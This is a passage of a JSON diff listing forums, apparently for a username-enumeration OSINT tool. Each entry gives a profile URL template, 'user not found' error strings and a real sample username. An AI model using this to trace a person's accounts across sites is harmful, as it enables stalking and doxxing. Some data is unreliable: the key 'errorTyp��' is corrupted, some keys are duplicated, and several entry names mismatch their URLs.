"http://thrash-attack.ru/index/8-0-{}", + "urlMain": "http://thrash-attack.ru", + "usernameON": "Manowarrior", + "bad_site": "" + }, + "Forum_thule": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://thule.ucoz.ru/index/8-0-{}", + "urlMain": "https://thule.ucoz.ru", + "usernameON": "jtaletbcse", + "bad_site": "" + }, + "Forum_thumpertalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.thumpertalk.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.thumpertalk.com", + "usernameON": "mildride", + "bad_site": "" + }, + "Forum_tidalfish": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tidalfish.com/members/?username={}", + "urlMain": "https://www.tidalfish.com", + "usernameON": "longtail", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tigerdata": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.tigerdata.com/forum/u/{}/summary", + "urlMain": "https://forum.tigerdata.com", + "usernameON": "ts101", + "bad_site": "" + }, + "Forum_tights4men": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://time-paradox.ucoz.ru/index/8-0-{}", + "urlMain": "https://time-paradox.ucoz.ru", + "usernameON": "uliaandreeva149", + "bad_site": "" + }, + "Forum_timich": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://timich.ru/index/8-0-{}", + "urlMain": "http://timich.ru", + "usernameON": "rektie", + "bad_site": "" + }, + "Forum_titanquest": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://titanquest.org.ua/index/8-0-{}", + "urlMain": "https://titanquest.org.ua", + "usernameON": "Jack", + "bad_site": "" + }, + "Forum_tk_do": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tk.do.am/index/8-0-{}", + "urlMain": "https://tk.do.am", + "usernameON": "romzik3", + "bad_site": "" + }, + "Forum_tks": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "403 Forbidden", + "errorMsg3": "временно приостановлен", + "errorTyp��": "message", + "url": "https://forum.tks.ru/member.php?username={}", + "urlMain": "https://forum.tks.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Forum_tlm": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tokiogirl.ucoz.ru/index/8-0-{}", + "urlMain": "https://tokiogirl.ucoz.ru", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_tolkienist": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tolkienist.ucoz.ru/index/8-0-{}", + "urlMain": "http://tolkienist.ucoz.ru", + "usernameON": "Банту", + "bad_site": "" + }, + "Forum_tomtom": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tomtomforums.com/members/?username={}", + "urlMain": "https://www.tomtomforums.com", + "usernameON": "silberpfeil", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tootimid": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.tootimid.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.tootimid.com", + "usernameON": "eagle143", + "bad_site": "" + }, + "Forum_topeleven": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered", + "errorMsg2": "Top Eleven Forum", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.topeleven.com/member.php?username={}", + "urlMain": "https://forum.topeleven.com", + "usernameON": "Taliyah25", + "bad_site": "" + }, + "Forum_topgold": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://topgold.forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://topgold.forum/", + "usernameON": "Resolve", + "bad_site": "" + }, + "Forum_topgoldforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "There were no results for your search", + "errorTyp��": "message", + "url": "https://topgoldforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://topgoldforum.com", + "usernameON": "symphonizedbm", + "bad_site": "" + }, + "Forum_topteam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://topteam.ucoz.ru/index/8-0-{}", + "urlMain": "https://topteam.ucoz.ru", + "usernameON": "Spinne", + "bad_site": "" + }, + "Forum_toribash": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.toribash.com/member.php?username={}", + "urlMain": "https://forum.toribash.com/", + "usernameON": "s1lvered", + "bad_site": "" + }, + "Forum_tornado": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.tornado.ws/u/{}/summary", + "urlMain": "https://forum.tornado.ws", + "usernameON": "sean", + "bad_site": "" + }, + "Forum_torquecars": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.torquecars.com/forums/members/?username={}", + "urlMain": "https://www.torquecars.com", + "usernameON": "mrmacbirch", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tortik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://tortik.ucoz.ru/index/8-0-{}", + "urlMain": "https://tortik.ucoz.ru", + "usernameON": "ggdrEmodyz", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tosdr": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tosdr.community/u/{}/summary", + "urlMain": "https://tosdr.community", + "usernameON": "shadowwwind", + "bad_site": "" + }, + "Forum_totallympics": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://totallympics.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://totallympics.com", + "usernameON": "josh", + "bad_site": "" + }, + "Forum_totalrl": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.totalrl.com/forums/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.totalrl.com", + "usernameON": "bobbruce", + "bad_site": "" + }, + "Forum_touchussuri": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://touchussuri.ucoz.ru/index/8-0-{}", + "urlMain": "https://touchussuri.ucoz.ru", + "usernameON": "staletpuhh", + "bad_site": "" + }, + "Forum_tour": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://tourum.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://tourum.net", + "usernameON": "etolmacheff", + "comments": "bad", + "bad_site": "" + }, + "Forum_touringplans": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.touringplans.com/u/{}/summary", + "urlMain": "https://forum.touringplans.com", + "usernameON": "heathernoel", + "bad_site": "" + }, + "Forum_tourtrans": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.tourtrans.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.tourtrans.ru", + "usernameON": "Evgeniya", + "bad_site": "" + }, + "Forum_toyotanation": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.toyotanation.com/members/?username={}", + "urlMain": "https://www.toyotanation.com", + "usernameON": "dna59", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_traceryoffate": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user does not exist.", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://traceryoffate.com/forum/profile/{}/", + "urlMain": "https://traceryoffate.com", + "usernameON": "sentinel", + "bad_site": "" + }, + "Forum_tracfone": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tracfoneforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.tracfoneforum.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_trackchecker": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorTyp��": "message", + "url": "https://forum.trackchecker.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.trackchecker.ru", + "usernameON": "f2065", + "bad_site": "" + }, + "Forum_tractorbynet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tractorbynet.com/forums/members/?username={}", + "urlMain": "https://www.tractorbynet.com", + "usernameON": "bmaverick", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_trade-print": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://forum.trade-print.ru/member.php?username={}", + "urlMain": "http://forum.trade-print.ru", + "usernameON": "trioprint", + "bad_site": "" + }, + "Forum_trade2win": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trade2win.com/members/?username={}", + "urlMain": "https://www.trade2win.com", + "usernameON": "wackypete2", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tradebrains": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "well-known/sgcaptcha", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.tradebrains.in/u/{}/summary", + "urlMain": "https://forum.tradebrains.in", + "usernameON": "nikitawaghmare", + "bad_site": "" + }, + "Forum_traderji": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.traderji.com/community/members/?username={}", + "urlMain": "https://www.traderji.com/", + "usernameON": "arunbalan", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": 1 + }, + "Forum_traderslaboratory": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.traderslaboratory.com/forums/search/?q={}&type=core_members", + "urlMain": "http://www.traderslaboratory.com", + "usernameON": "fxeconomist", + "bad_site": "" + }, + "Forum_tradingqna": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tradingqna.com/u/{}/summary", + "urlMain": "https://tradingqna.com", + "usernameON": "akashkb", + "bad_site": "" + }, + "Forum_tradtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tradtalk.com/members/?username={}", + "urlMain": "https://www.tradtalk.com/", + "usernameON": "lumis17", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_trainerroad": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trainerroad.com/forum/u/{}/summary", + "urlMain": "https://www.trainerroad.com", + "usernameON": "joex", + "bad_site": "" + }, + "Forum_transit-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://transit-club.com/index/8-0-{}", + "urlMain": "http://transit-club.com", + "usernameON": "Gidanov", + "bad_site": "" + }, + "Forum_trassa": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "Информация", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://trassa.by/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://trassa.by", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_travel": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Поиск не дал результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.travel.ru/community/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_app_filters[forums][sortKey]=date&search_content=both&search_app_filters[forums][noPreview]=1&search_app_filters[forums][pCount]=&search_app_filters[forums][pViews]=&search_app_filters[forums][sortKey]=date&search_app_filters[forums][sortDir]=0&search_app_filters[forums][searchInKey]=&search_term=&search_app=forums&search_app_filters[forums][searchInKey]=&search_app_filters[forums][sortKey]=title&search_app_filters[forums][sortDir]=0", + "urlMain": "https://www.travel.ru", + "usernameON": "larsen099", + "bad_site": "" + }, + "Forum_travel_do": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://travel.do.am/index/8-0-{}", + "urlMain": "https://travel.do.am", + "usernameON": "askutov123", + "bad_site": "" + }, + "Forum_travel_my1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://travel.my1.ru/index/8-0-{}", + "urlMain": "https://travel.my1.ru", + "usernameON": "nbirukova1", + "bad_site": "" + }, + "Forum_trekbbs": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trekbbs.com/members/?username={}", + "urlMain": "https://www.trekbbs.com", + "usernameON": "ericf", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_trialscentral": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.trialscentral.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.trialscentral.com", + "usernameON": "choover", + "bad_site": "" + }, + "Forum_trimdownclub": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.trimdownclub.com/members/{}/", + "urlMain": "https://www.trimdownclub.com", + "usernameON": "kellyannsi", + "bad_site": "" + }, + "Forum_trinity-ai": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://trinity-ai.at.ua/index/8-0-{}", + "urlMain": "https://trinity-ai.at.ua", + "usernameON": "apelsinikgzy", + "bad_site": "" + }, + "Forum_trmk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.trmk.org/forums/members/?username={}", + "urlMain": "https://www.trmk.org", + "usernameON": "ingend1945", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_troitsa": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://troitsa.ucoz.ru/index/8-0-{}", + "urlMain": "https://troitsa.ucoz.ru", + "usernameON": "Passhikinsky", + "bad_site": "" + }, + "Forum_trotting": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tschkalowo.ucoz.ru/index/8-0-{}", + "urlMain": "https://tschkalowo.ucoz.ru", + "usernameON": "btaletjwhs", + "bad_site": "" + }, + "Forum_tskaro": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tulaignk.ucoz.ru/index/8-0-{}", + "urlMain": "http://tulaignk.ucoz.ru", + "usernameON": "prokofjev7", + "bad_site": "" + }, + "Forum_tumult": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.tumult.com/u/{}/summary", + "urlMain": "https://forums.tumult.com", + "usernameON": "daniel", + "bad_site": "" + }, + "Forum_tundrasolutions": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tundrasolutions.com/members/?username={}", + "urlMain": "https://www.tundrasolutions.com", + "usernameON": "dxrouse", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tuning_lviv": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Тем або повідомлень, які відповідають вашому запиту, не знайдено.", + "errorMsg2": "Інформація", + "errorTyp��": "message", + "url": "http://tuning.lviv.ua/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://tuning.lviv.ua", + "usernameON": "jam", + "bad_site": "" + }, + "Forum_tupa-germania": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.tupa-germania.ru/members/?username={}", + "urlMain": "https://forum.tupa-germania.ru", + "usernameON": "lagrange", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_tur_borda": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://turkmeniya.ucoz.ru/index/8-0-{}", + "urlMain": "https://turkmeniya.ucoz.ru", + "usernameON": "koleg5992", + "bad_site": "" + }, + "Forum_turntoislam": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://turntoislam.com/community/members/?username={}", + "urlMain": "https://turntoislam.com", + "usernameON": "exceller", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tus-wa": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "does not exist.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tus-wa.com/profile/{}/", + "urlMain": "https://www.tus-wa.com", + "usernameON": "TheWalrus", + "comments": "super", + "bad_site": 1 + }, + "Forum_tvnewstalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Please wait", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://forums.tvnewstalk.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.tvnewstalk.net", + "usernameON": "red", + "bad_site": "" + }, + "Forum_tvsbook": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tvsbook.com/members/?username={}", + "urlMain": "https://www.tvsbook.com", + "usernameON": "jhjg67", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tvsput": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tvsput.ru/index/8-0-{}", + "urlMain": "http://tvsput.ru", + "usernameON": "sickorskyvik", + "bad_site": "" + }, + "Forum_tvwbb": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tvwbb.com/members/?username={}", + "urlMain": "https://tvwbb.com", + "usernameON": "bruno", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tw200forum": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tw200forum.com/members/?username={}", + "urlMain": "https://www.tw200forum.com", + "usernameON": "drlemonator", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_twilightmovie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://twilightmovie.ucoz.com/index/8-0-{}", + "urlMain": "https://twilightmovie.ucoz.com", + "usernameON": "фанатка", + "bad_site": "" + }, + "Forum_twilightrussia": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://twilightrussia.ru/index/8-0-{}", + "urlMain": "https://twilightrussia.ru", + "usernameON": "MissElen", + "bad_site": "" + }, + "Forum_twospoke": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.twospoke.com/members/?username={}", + "urlMain": "https://www.twospoke.com", + "usernameON": "stevesmith143", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_type2diabetes": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Page not found", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://type2diabetes.com/members/{}", + "urlMain": "https://type2diabetes.com", + "usernameON": "girlsaylor", + "bad_site": "" + }, + "Forum_u-hiv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum.u-hiv.ru/index/8-0-{}", + "urlMain": "https://forum.u-hiv.ru", + "usernameON": "Slavochka", + "bad_site": "" + }, + "Forum_u-project": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://u-project.pro/members/?username={}", + "urlMain": "https://u-project.pro", + "usernameON": "takeshi", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_ua-vet": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.ua-vet.com/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.ua-vet.com", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_uahack": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://uahack.at.ua/index/8-0-{}", + "urlMain": "https://uahack.at.ua", + "usernameON": "alexeiuslugivzloma", + "bad_site": "" + }, + "Forum_uaksu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://uaksu.forum24.ru/?32-{}", + "urlMain": "https://uaksu.forum24.ru", + "usernameON": "vleas", + "bad_site": "" + }, + "Forum_uberpeople": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.uberpeople.net/members/?username={}", + "urlMain": "https://www.uberpeople.net", + "usernameON": "nats121", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ubports": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.ubports.com/user/{}", + "urlMain": "https://forums.ubports.com", + "usernameON": "applee", + "bad_site": "" + }, + "Forum_ubuntu": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessuna iscrizione corrisponde a questi criteri di ricerca.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.ubuntu-it.org/memberlist.php?username={}", + "urlMain": "https://forum.ubuntu-it.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_ubuntu_mate": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ubuntu-mate.community/u/{}/summary", + "urlMain": "https://ubuntu-mate.community", + "usernameON": "oldstrummer", + "bad_site": "" + }, + "Forum_uc-portaller": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://uc-portaller.ucoz.com/index/8-0-{}", + "urlMain": "http://uc-portaller.ucoz.com", + "usernameON": "use_vse", + "bad_site": "" + }, + "Forum_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum.ucoz.ru/index/8-0-{}", + "urlMain": "https://forum.ucoz.ru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_ucozweber": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ucozweber.3dn.ru/index/8-0-{}", + "urlMain": "https://ucozweber.3dn.ru", + "usernameON": "SoVeR", + "bad_site": "" + }, + "Forum_ucozzz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://ucozzz.ru/index/8-0-{}", + "urlMain": "http://ucozzz.ru", + "usernameON": "podrubaj", + "bad_site": "" + }, + "Forum_ufachgk": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>Форум Uinsell.Net", + "errorTyp��": "message", + "url": "http://forum.uinsell.net/member.php?username={}", + "urlMain": "http://forum.uinsell.net", + "usernameON": "ghost", + "bad_site": "" + }, + "Forum_uk_muscle": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.uk-muscle.co.uk/members/?username={}", + "urlMain": "https://www.uk-muscle.co.uk", + "usernameON": "zenol", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ukraine_de": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Es wurden keine passenden", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ukraineforum.de/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": 